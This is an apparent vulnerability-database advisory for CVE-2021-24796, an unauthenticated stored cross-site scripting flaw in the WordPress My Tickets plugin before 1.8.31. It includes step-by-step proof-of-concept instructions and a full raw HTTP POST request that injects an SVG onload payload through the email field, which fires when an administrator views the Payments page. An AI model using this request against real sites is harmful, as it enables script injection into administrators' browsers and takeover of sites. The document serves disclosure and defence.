My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2021-24796 | 17 Nov 202111:15 | – | attackerkb |
 | WordPress 跨站脚本漏洞 | 17 Nov 202100:00 | – | cnnvd |
 | WordPress My Tickets plugin cross-site scripting vulnerability | 21 Nov 202100:00 | – | cnvd |
 | CVE-2021-24796 | 17 Nov 202110:15 | – | cve |
 | CVE-2021-24796 My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site Scripting | 17 Nov 202110:15 | – | cvelist |
 | CVE-2021-24796 | 17 Nov 202111:15 | – | nvd |
 | CVE-2021-24796 | 17 Nov 202111:15 | – | osv |
 | WordPress My Tickets plugin <= 1.8.30 - Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability | 18 Oct 202100:00 | – | patchstack |
 | Cross site scripting | 17 Nov 202111:15 | – | prion |
 | CVE-2021-24796 | 22 May 202519:23 | – | redhatcve |
10
As unauthenticated, book a ticket, fill the purchase form with dummy data and intercept it to change the email address (which is validated client side but not server side) to something like <svg/onload=alert(/XSS/)>
POST /purchase/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 413
Origin: http://wp.lab
Connection: close
Cookie: mt_unique_id=-KFPBzwr-0Y2BZ1a
Upgrade-Insecure-Requests: 1
_wpnonce=97e4184df7&mt_gateway=offline&mt_cart_order%5B1950%5D%5Badult%5D%5Bcount%5D=1&mt_cart_order%5B1950%5D%5Badult%5D%5Bprice%5D=1.00&mt_cart_order%5B1950%5D%5Badult%5D%5Borig_price%5D=1&mt_fname=XSS&mt_lname=swd&mt_email=<svg/onload=alert(/XSS/)>&mt_email2=<svg/onload=alert(/XSS/)>&ticketing_method=printable&mt_submit=Review+cart+and+make+payment&my-tickets=true
Then confirm the Reservation. The XSS will be triggered when an admin view the Payments page in the admin dashboard (/wp-admin/edit.php?post_type=mt-payments)Data
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18 Oct 2021 06:37Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.01167